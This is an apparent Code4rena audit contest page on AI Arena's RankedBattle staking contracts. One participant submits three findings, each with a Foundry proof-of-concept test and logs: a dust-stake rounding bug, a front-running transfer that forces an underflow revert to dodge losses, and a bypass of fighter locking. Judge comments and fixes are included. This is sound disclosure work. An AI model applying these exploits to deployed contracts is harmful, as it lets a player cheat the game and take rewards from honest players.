Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 200/283
Findings: 2
Award: $3.07
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L438-L439
Players exploit the staking logic to have a chance to win an NFT from the merging pool with zero risk.
_getStakingFactor
function that rounds up the staking factor to 1 for any negligeable stake, ensuring players receive a minimum reward multiplier.function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk ) private view returns (uint256) { uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 ); if (stakingFactor_ == 0) { stakingFactor_ = 1; } return stakingFactor_; }
/// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
Exploiting Wins for Merging Pool Benefits:
Scaling the Strategy:
Systemic Impact:
Output
Ran 1 test for test/RankedBattle.t - Copy .sol:RankedBattleTest [PASS] testPlayerGainingPointsWhileNotRiskingStake() (gas: 879241) Logs: Stake at risk after the player loss: 0 Merging points upon player win: 1500 Merging points upon player loss: 1500 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.86ms Ran 1 test suite in 2.86ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Note: The PoC can be ran by adding it to the
RankedBattle.t.sol
file
forge test --match-test "testPlayerGainingPointsWhileNotRiskingStake" -vv
Code
function testPlayerGainingPointsWhileNotRiskingStake() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; _fundUserWith4kNeuronByTreasury(player); // 1. Stake a dust amount. vm.prank(player); _rankedBattleContract.stakeNRN(1, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true); // 2. Player will not loss anything due to rounding error. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 100, 2, 1500, true); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 0); console.log("Stake at risk after the player loss: %s",_stakeAtRiskContract.getStakeAtRisk(tokenId)); // 3. Player gain points upon winning since factor is not 0 vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 100, 0, 1500, true); uint256 fighterMergingPoints = _mergingPoolContract.getFighterPoints(1)[0]; assertEq(fighterMergingPoints > 0, true); console.log("Merging points upon player win: %s",fighterMergingPoints); // 4. Player will not loss points nor stake upon losing. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 100, 2, 1500, true); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 0); assertEq(_mergingPoolContract.getFighterPoints(1)[0], fighterMergingPoints); console.log("Merging points upon player loss: %s",fighterMergingPoints); }
Manual review
Revise Rounding Logic: Reassess and adjust the rounding logic within _getStakingFactor
by rounding down towards the users. In addition to that, it is recommended to round up the curStakeAtRisk
to prevent dust amounts from bypassing the stake loss.
Math
#0 - c4-pre-sort
2024-02-25T08:39:38Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-25T08:39:57Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T03:52:07Z
HickupHH3 marked the issue as satisfactory
๐ Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L253-L255 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L485-L486 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545
This strategy allows a player to game the system, effectively circumventing intended loss penalties. This creates an unfair advantage and undermines the fairness and integrity of the game, allowing players to game the system for profit.
The player can enjoy their wins and prevent any losses by adopting the following strategy:
function unstakeNRN(uint256 amount, uint256 tokenId) external { ... ... ... if (success) { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, false); } emit Unstaked(msg.sender, amount); } }
Now the fighter has zero in the amountStaked
and some stake at risk stored in the stakeAtRisk
in the current round.
2. Now that all of the player's stake is at risk, the system has no way to punish the player for a loss. Therefore, if the player loses nothing will change. Upon winning a battle, the player will manage to get a portion of his stake at risk restored to the amountStaked
, the playerโs fighter remains unlocked. This is because the fighter lock status is only updated during the stakeNRN
.
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ... ... ... /// If the user has stake-at-risk for their fighter, reclaim a portion /// Reclaiming stake-at-risk puts the NRN back into their staking pool if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; } ... ... ... } }
Now we have a fighter that have some stake and also unlocked which means we are able to transfer it anytime.
The player can then wait until the next round and stake as much $NRN as possible at this point without worrying about the fighter getting locked back since that will only happen if his amountStaked
is zero which isn't the case.
function stakeNRN(uint256 amount, uint256 tokenId) external { ... ... ... if (success) { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, true); } ... ... ... }
updateBattleRecord
transaction calls coming from the game server. If an impending loss is detected, the player should front-run the server by transferring their fighter to another account that has not participated in the current round, causing an underflow when updating the accumulatedPointsPerAddress
(since it will be equal to zero knowing that the new account didn't play in the current round) , thereby causing the transaction to revert, allowing the player to avoid the loss.function stakeNRN(uint256 amount, uint256 tokenId) external { function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ... ... ... if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; ... ... ... }
This series of actions exploits weaknesses in the staking and battle record logic, allowing players to bypass the system's intended penalization for losses.
Output
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testTransferringStakedFighterUponLost() (gas: 1904696) Logs: Fighter amount staked: 1000000000000, is fighter locked: false New staked amount: 3000000001000000000000, is fighter locked: false Fighter accumulated points upon win: 40500, fighter staked amount: 3000000001000000000000 Fighter accumulated points upon loss: 40500, fighter staked amount: 3000000001000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.81ms Ran 1 test suite in 4.81ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Note: The PoC can be ran by adding it to the
RankedBattle.t.sol
file in addition to importingstdError
fromforge-std/Test.sol
forge test --match-test "testTransferringStakedFighterUponLost" -vv
Code
function testTransferringStakedFighterUponLost() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; _fundUserWith4kNeuronByTreasury(player); // 1. Stake a dust amount. vm.prank(player); _rankedBattleContract.stakeNRN(1 * 10 ** 18, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true); // 2. Loss 1 fight, and verify that the player have a stake at risk bigger than 0. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0, true); // 3. Unstack all remaining NRN tokens, and verify thaty staked amount is 0 and fighter unlocked. vm.prank(player); _rankedBattleContract.unstakeNRN(1 * 10 ** 18, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), 0); assertTrue(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0); assertFalse(_fighterFarmContract.fighterStaked(tokenId)); // 4. Continue fighting until player wins one fight and amount staked > 0. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); assertTrue(_rankedBattleContract.amountStaked(tokenId) > 0); assertFalse(_fighterFarmContract.fighterStaked(tokenId)); console.log("Fighter amount staked: %s, is fighter locked: %s",_rankedBattleContract.amountStaked(tokenId), _fighterFarmContract.fighterStaked(tokenId)); //Add a second player with a win record to have a winner and a totalAccumulatedPoints[roundId] > 0 so we can move to the next round. address player2 = vm.addr(4); _mintFromMergingPool(player2); uint8 secondTokenId = 1; _fundUserWith4kNeuronByTreasury(player2); vm.prank(player2); _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, secondTokenId); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(secondTokenId, 50, 0, 1500, true); _rankedBattleContract.setNewRound(); //5. Player stakes in new rounds and the fighter always remains unlocked. vm.prank(player); _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId); assertTrue(_rankedBattleContract.amountStaked(tokenId) > 3_000 * 10 ** 18); assertFalse(_fighterFarmContract.fighterStaked(tokenId)); console.log("New staked amount: %s, is fighter locked: %s",_rankedBattleContract.amountStaked(tokenId), _fighterFarmContract.fighterStaked(tokenId)); //6. Upon fighter wins the player gain points and upon loses the player transfer the fighter to another address. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); uint256 fighterPointsAfterWin = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1); assertTrue(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1) > 0); vm.prank(player); address playerSecondAddress = vm.addr(5); _fighterFarmContract.transferFrom(player,playerSecondAddress,tokenId); vm.prank(address(_GAME_SERVER_ADDRESS)); vm.expectRevert(stdError.arithmeticError); _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertTrue(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1) > 0); console.log("Fighter accumulated points upon win: %s, fighter staked amount: %s",_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1), _rankedBattleContract.amountStaked(tokenId)); //Transfer the fighter back after the underflow exception and repeat step 6. vm.prank(playerSecondAddress); _fighterFarmContract.transferFrom(playerSecondAddress,player,tokenId); uint256 fighterPointsAfterLoss = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1); assertEq(fighterPointsAfterLoss, fighterPointsAfterWin); console.log("Fighter accumulated points upon loss: %s, fighter staked amount: %s",_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1), _rankedBattleContract.amountStaked(tokenId)); }
Manual Review
Consider making sure the fighter is locked while reclaiming the stake at risk for the fighter.
/// If the user has stake-at-risk for their fighter, reclaim a portion /// Reclaiming stake-at-risk puts the NRN back into their staking pool if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; + _fighterFarmInstance.updateFighterStaking(tokenId, true); }
Under/Overflow
#0 - c4-pre-sort
2024-02-25T04:03:08Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T04:03:18Z
raymondfam marked the issue as duplicate of #1641
#2 - c4-judge
2024-03-12T03:34:04Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-12T04:01:26Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-12T04:03:30Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-13T10:45:45Z
HickupHH3 marked the issue as satisfactory
๐ Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L253-L255 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545
Players can exploit staking logic to transfer fighters that should be locked due to staking. This exploit violates the intended security constraint that staked fighters should be locked, breaking the contract's invariant.
A player loses a battle, leading to a portion of their stake being at risk. They then fully unstake using the unstakeNRN
, unlocks their fighter.
After fully unstaking, any subsequent victory (losses have no effect since all the stake is at risk anyway) that partially restores the at-risk stake back to amountStaked
doesn't re-lock the fighter. The player can then add more stake and the lock status update will be bypassed because stakeNRN
only considers transitions from zero balance for locking, missing out on scenarios where stakes are restored from at-risk pools as seen in _addResultPoints
.
function stakeNRN(uint256 amount, uint256 tokenId) external { ... if (success) { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, true); } ... }
Output PoC
Running 1 test for test/RankedBattle.t_-_Copy (1).sol:RankedBattleTest [PASS] testMissfunctionalityOfTheFighterLockingMechanism() (gas: 1757936) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.45ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Coded PoC
function testMissfunctionalityOfTheFighterLockingMechanism() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; _fundUserWith4kNeuronByTreasury(player); // Stake 1k and verify that the player have a staked amount equal to 1k. vm.prank(player); _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), 1_000 * 10 ** 18); // Loss 1 fight, and verify that the player have a stake at risk bigger than 0. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0, true); // Unstack all remaining NRN tokens, and verify thaty staked amount is 0 and fighter unlocked. vm.prank(player); _rankedBattleContract.unstakeNRN(3_000 * 10 ** 18, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), 0 * 10 ** 18); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId) > 0, true); assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // Win 1 fight, verify that fighter staked amount bigger than 0 and fighter still unlocked. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true); assertEq(_fighterFarmContract.fighterStaked(tokenId), false); //Add a second player with a win record so that totalAccumulatedPoints[roundId] > 0 and set a new round. address player2 = vm.addr(4); _mintFromMergingPool(player2); uint8 secondTokenId = 1; _fundUserWith4kNeuronByTreasury(player2); vm.prank(player2); _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, secondTokenId); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(secondTokenId, 50, 0, 1500, true); _rankedBattleContract.setNewRound(); // Player stakes in new rounds and the fighter always remains unlocked. vm.prank(player); _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId) > 3_000 * 10 ** 18, true); assertEq(_fighterFarmContract.fighterStaked(tokenId), false); }
Manual review
Lock the fighter whenever a stake at risk is reclaimed.
if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; + _fighterFarmInstance.updateFighterStaking(tokenId, true); }
Other
#0 - c4-pre-sort
2024-02-24T05:14:05Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T05:14:14Z
raymondfam marked the issue as duplicate of #1641
#2 - c4-pre-sort
2024-02-24T05:45:38Z
raymondfam marked the issue as not a duplicate
#3 - c4-pre-sort
2024-02-24T05:45:49Z
raymondfam marked the issue as duplicate of #833
#4 - c4-judge
2024-03-13T11:32:48Z
HickupHH3 marked the issue as duplicate of #1641
#5 - c4-judge
2024-03-14T06:20:29Z
HickupHH3 marked the issue as satisfactory
๐ Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
Players face an unintended gameplay interruption as their fighter is kept locked when all their stake goes at risk, with the only resolution being a counterintuitive zero-value unstake action that sidelines them for the remainder of the round.
Initial Gameplay Scenario:
Complete Loss of Stake:
Discovery of Lock Mechanism:
Forced Unstaking for Unlocking:
Involuntary Downtime:
Strategic Implications and Frustration:
Output
Ran 1 test for test/RankedBattle.t - Copy .sol:RankedBattleTest [PASS] testFighterRemainsUnlockedAfterLosingAllStake() (gas: 1739133) Logs: Fighter lost all his stake: 0 Fighter staked amount: 0, fighter locked status: true Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.05ms Ran 1 test suite in 3.05ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Code
function testFighterRemainsUnlockedAfterLosingAllStake() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; _fundUserWith4kNeuronByTreasury(player); // We set bpsLostPerLoss to 50% so that we can easily simulate a player that lost all his stake. _rankedBattleContract.setBpsLostPerLoss(5000); // Stake a dust amount. vm.prank(player); _rankedBattleContract.stakeNRN(4_000 * 10**8, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId) > 0, true); // A losing strick that will put all the fighter stake at risk. vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_rankedBattleContract.amountStaked(tokenId), 0); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 4_000 * 10**8); console.log("Fighter lost all his stake: %s",_rankedBattleContract.amountStaked(tokenId)); // Add a second player with a win record so that totalAccumulatedPoints[roundId] > 0 and set a new round. address player2 = vm.addr(4); _mintFromMergingPool(player2); uint8 secondTokenId = 1; _fundUserWith4kNeuronByTreasury(player2); vm.prank(player2); _rankedBattleContract.stakeNRN(1_000 * 10 ** 18, secondTokenId); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(secondTokenId, 50, 0, 1500, true); _rankedBattleContract.setNewRound(); // Player try to transfer his fighter vm.prank(player); uint256 totalStakedAmount = _rankedBattleContract.amountStaked(tokenId) + _stakeAtRiskContract.getStakeAtRisk(tokenId); assertEq(totalStakedAmount, 0); vm.expectRevert(); _fighterFarmContract.transferFrom(player, player2, tokenId); console.log("Fighter staked amount: %s, fighter locked status: %s",totalStakedAmount,_fighterFarmContract.fighterStaked(tokenId)); // The player will be forced to call the unstake function with an amount of 0 in order to unlock his fighter, and this will mark the unstaked in round to zero which will prevent the fighter reciepient from participating in the current round. vm.prank(player); _rankedBattleContract.unstakeNRN(0, tokenId); vm.prank(player); _fighterFarmContract.transferFrom(player, player2, tokenId); assertEq(_rankedBattleContract.hasUnstaked(tokenId, 1), true); }
Manual review.
Consider unlocking the fighter whenever the staker loses all the stake at risk.
Other
#0 - c4-pre-sort
2024-02-24T05:15:30Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T05:17:09Z
raymondfam marked the issue as duplicate of #1641
#2 - c4-pre-sort
2024-02-24T05:37:42Z
raymondfam marked the issue as not a duplicate
#3 - c4-pre-sort
2024-02-24T05:37:53Z
raymondfam marked the issue as duplicate of #833
#4 - raymondfam
2024-02-24T05:41:41Z
Just keep playing before the round ends trying to win and reclaim some stakeatrisk NRN risk free.
#5 - c4-judge
2024-03-13T11:32:49Z
HickupHH3 marked the issue as duplicate of #1641
#6 - c4-judge
2024-03-14T06:19:10Z
HickupHH3 marked the issue as partial-25